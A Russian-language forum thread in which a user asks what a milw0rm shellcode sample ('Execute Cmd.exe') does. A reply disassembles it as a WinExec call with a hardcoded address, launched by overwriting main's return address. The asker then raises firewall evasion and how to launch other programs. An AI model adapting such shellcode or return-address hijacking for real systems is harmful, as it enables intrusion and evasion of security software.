Кто-то может обьяснить, что делает этот код? Скачал с милворма, там написано, что это шелл для cmd. Я откомпилировал, но не могу понять, что он делает. Code: #include <stdio.h> #include <string.h> unsigned char shellcode[] = "\x8b\xec\x68\x65\x78\x65" "\x20\x68\x63\x6d\x64\x2e" "\x8d\x45\xf8\x50\xb8\x8D" "\x15\x86\x7C\xff\xd0"; int main () { int *ret; ret=(int *)&ret+2; printf("Shellcode Length is : %d\n",strlen(shellcode)); (*ret)=(int)shellcode; return 0; } Написано, что он "Execute Cmd.exe", то есть вызывает cmd. Если да, то как это использовать?
Code: "\x8b\xec\x68\x65\x78\x65" "\x20\x68\x63\x6d\x64\x2e" "\x8d\x45\xf8\x50\xb8\x8D" "\x15\x86\x7C\xff\xd0"; это асм команды: Code: mov ebp,esp push 20657865h // push 2E646D63h // это типа cmd.exe lea eax,[ebp-8] push eax mov eax,7C86158Dh // это хардкодно прописали адрес функции скорее всего WinExec call eax // вызвать функцию такая вешь ооочень фуфлова, потом что работает только на определенной версии винды и языка системы. Другой язык или/и другая версия винды и будет провал.
При этом комбинация Code: int *ret; ret=(int *)&ret+2; // ret будет равняться адресу созврата из функции main printf("Shellcode Length is : %d\n",strlen(shellcode)); (*ret)=(int)shellcode; // перебьем адрес возврата на шелкод return 0; // завершим функцию main. А т.к. адрес возврата мы подменили то вызовется шелкод т.е. это пример вызова этого кода через срыв стека. Передача параметров идет так: Code: mov ebp,esp // запомним адрес вершины стека // поместим в стек push 20657865h // push 2E646D63h // это типа cmd.exe lea eax,[ebp-8] // eax будет равняться указателю на начало строки cmd.exe которую закинули в стек push eax // занесем параметр для WinExec а именно адрес имени проги. В нашем случае cmd.exe Причем тут фаер?
1. Я понимаю что для того чтобы что-то изменить нужно знать асм? 2. Ну например на Делфи если написать то фаер спалит запрос. А тут? Code: push 2E646D63h // это типа cmd.exe А сюда писать то, что мне нужно вызвать?